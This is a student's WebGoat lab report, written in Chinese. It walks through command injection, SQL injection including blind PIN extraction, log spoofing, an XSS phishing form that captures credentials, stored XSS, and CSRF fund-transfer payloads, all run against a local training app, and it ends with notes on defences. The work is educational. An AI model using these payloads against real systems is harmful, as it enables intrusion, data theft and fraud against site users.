Exp9 Web安全基础 20175124符嘉讯

、实践步骤

1.1 前置条件说明

一开始先下载WebGoat,由于WebGoat 7jar文件已自带了tomcat和数据库,所以不需要再另外安装tomcatmysql这种东西,只需要安装jdk用于运行jar文件即可。jdk安装过程不再辍述,如果需要,可参考https://www.cnblogs.com/lsdb/p/6511907.html这篇文章。

1.2 Webgoat安装

介绍:WebGoatOWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookieSQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。WebGoat提供了一系列web安全学习的教程,某些课程也给出了视频演示,指导用户利用这些漏洞进行攻击。
1、下载webgoat-container-7.0.1-war-exec.jar文件

2、在含有该文件的目录下使用命令java -jar webgoat-container-7.0.1-war-exec.jar运行Webgoat,出现信息Starting ProtocolHandler ["http-bio-8080"]说明开启成功,可以看到占用8080端口,实验过程中不要关闭终端

 Exp9 Web安全基础 20175124符嘉讯

3、在浏览器中输入http://localhost:8080/WebGoat进入WebGoat登录界面

 Exp9 Web安全基础 20175124符嘉讯

4、 使用默认用户名密码guest登录即可(其中Java Source是源码、Solution是答案、Hints是提示)

 Exp9 Web安全基础 20175124符嘉讯

1.3 开始攻击

1.3.1 SQL注入攻击

1、Command Injection(命令注入)

在左侧菜单栏中选择Injection Flaws->Command Injection

右键点击复选框选择Inspect Element审查网页元素对源代码<option>进行修改,先在搜索框内查找option在复选框中任意一栏的代码后添加"& netstat -an & ipconfig"

 Exp9 Web安全基础 20175124符嘉讯

点击网页内View可以看到网络端口使用情况和IP地址

 Exp9 Web安全基础 20175124符嘉讯

 Exp9 Web安全基础 20175124符嘉讯

2、Numeric SQL Injection(数字型SQL注入)

在左侧菜单栏中选择Injection Flaws->Numeric SQL Injection

右键点击复选框选择Inspect Element审查网页元素对源代码<option>进行修改,在在选中的城市编号value="101"后添加or 1=1

 Exp9 Web安全基础 20175124符嘉讯

-点击Go!显示所有天气数据

 Exp9 Web安全基础 20175124符嘉讯

3、Log Spoofing(日志欺骗)

利用回车0D%和换行符%0A让其在日志中两行显示

User Name中填入webgoat%0d%0aLogin Succeeded for username: hj20175121

点击Login可以看到webgoat Login Fail,自己添加的hj20175121 Login Succeeded

 Exp9 Web安全基础 20175124符嘉讯

4、String SQL Injection(字符串型注入)

使用‘提前闭合"",插入永真式1=1,--注释掉后面的内容

输入查询的用户名yb‘ or 1=1--select表里面的所有数据

5、LAB: SQL Injection

右键点击页面,选择inspect Element审查网页元素对源代码进行修改,将password密码框的最大长度限制改为20

 Exp9 Web安全基础 20175124符嘉讯

以用户Neville登录,输入密码fjx‘ or ‘1‘ = ‘1

攻击成功,得到所有人员列表

 Exp9 Web安全基础 20175124符嘉讯

6、Blind Numeric SQL Injection(数字型盲注入)

输入查询语句101 AND 1=1 ,因为两个条件都成立,所以页面返回帐号有效

输入查询语句101 AND 1=2,因为第二个条件不成立,所以而页面返回帐号无效

针对查询语句的后半部分构造复杂语句101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) > 10000 );

如果页面提示帐号有效,说明PIN>10000,否则PIN<=10000;不断调整数值,可以利用二分法,最终判断出PIN数值的大小为2364

最终得到正确PIN2364,输入验证

1.3.2 XSS攻击

1、Phishing with XSS 跨站脚本钓鱼攻击

在搜索框输入如下代码,页面增加一个表单

<head><body><div><div style="float:left;height:100px;width:50%;"></div><div style="float:left;height:100px;width:50%;"></div></div><div style="height:200px;clear:both;"></div>

 </div></div></form>

  <script>function hack(){

XSSImage=new Image;

XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";

alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);

}

  </script><form name="phish"><br><br><HR>

  <H2>This feature requires account login:</H2><br>

  <br>Enter Username:<br>

  <input type="text" name="user">

  <br>Enter Password:<br>

  <input type="password" name = "pass"><br>

  <input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR></body></head>

输入用户名和密码,读取在表单上输入的用户名和密码信息并发送给捕获这些信息的WebGoat

 Exp9 Web安全基础 20175124符嘉讯

2、存储型XSS攻击(Stored XSS Attacks)

title中任意输入字符,留言板中输入<script>alert("zheshiyiduanliuyan");</script>后点击Submit攻击成功

 Exp9 Web安全基础 20175124符嘉讯

 Exp9 Web安全基础 20175124符嘉讯

1.3.3 CSRF攻击

1、跨站请求伪造(Cross Site Request Forgery (CSRF))

查看页面右侧Parameters中的srcmenu值,分别为324900

 Exp9 Web安全基础 20175124符嘉讯

title中输入任参数,message框中输入

<img src="http://localhost:8080/WebGoat/attack?Screen=324&menu=900&transferFunds=5000" width="1" height="1" />,以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交

 Exp9 Web安全基础 20175124符嘉讯

2、绕过 CSRF 确认( CSRF Prompt By‐Pass)

查看页面右侧Parameters中的srcmenu值分别为321900

 Exp9 Web安全基础 20175124符嘉讯

并在title框中输入学号,message框中输入代码:

<iframe src="attack?Screen=321&menu=900&transferFunds=5000"> </iframe><iframe src="attack?Screen=326&menu=900&transferFunds=CONFIRM"> </iframe>

Message List中生成以Title命名的链接,点击进入后,攻击成功

 Exp9 Web安全基础 20175124符嘉讯

、实验总结与体会

2.1 实验中遇到的问题

GitHub上下载WebGoat需要梯子链接外网,我没有梯子,最后找了同学要到了资源。

2.2 基础问题回答

(1)SQL注入攻击原理,如何防御
SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的。
防御手段:

1、普通用户与系统管理员用户的权限要有严格的区分。

2、强迫使用参数化语句。

3、加强对用户输入的验证。

4、使用SQL Server数据库自带的安全参数。

5jsp中调用该函数检查是否包含非法字符,防止SQLURL注入。

2XSS攻击的原理,如何防御
XSS是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。一旦攻击成功,它可以获取用户的联系人列表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等,有时候还和其他攻击方式同时实施比如SQL注入攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼。

防御手段:

1、在表单提交或者url参数传递前,对需要的参数进行过滤。

2、消除网站的XSS漏洞,需要网站开发者运用转义安全字符等手段。

(3)CSRF攻击原理,如何防御
CSRF(Cross site request forgery),即跨站请求伪造。CSRF就是借用用户的身份,向web server发送请求,因为该请求不是用户本意,所以称为“跨站请求伪造”。
一般而且存在XSS漏洞的网站,也极有可能存在CSRF漏洞。因为CSRF攻击中的那个“伪造的请求”的URL地址,一般是通过XSS攻击来注入到服务器中的。所以其实CSRF是以XSS为基础的,也可以看做是XSS攻击的一种。
防御手段:

1、使用验证码:每一个重要的post提交页面,使用一个验证码,因为第三方网站是无法获得验证码的。还有使用手机验证码,比如转账是使用的手机验证码。

3、使用token:每一个网页包含一个web server产生的token, 提交时,也将该token提交到服务器,服务器进行判断,如果token不对,就判定为CSRF攻击。

4、将敏感操作get改为post,然后在表单中使用token. 使用post有利于防御CSRF攻击。

5、避免全站通用的cookie,严格设置cookie的域。

2.3 实验体会

通过本次实验,我学习了SQL注入攻击、XSS攻击和CSRF攻击,了解了这些攻击的原理。虽然操作的时候挺简单,但是要深入理解其背后的原理还是有一定难度的。在实验过程中遇到了各种各样的问题,一开始下不动,查找原因是因为需要梯子,于是我就找了做过的同学要了资源。通过这些学习,我了解了各种通过网页的攻击,以后上网要秉持一颗谨慎的心态,这样才不会轻易落入他人陷阱。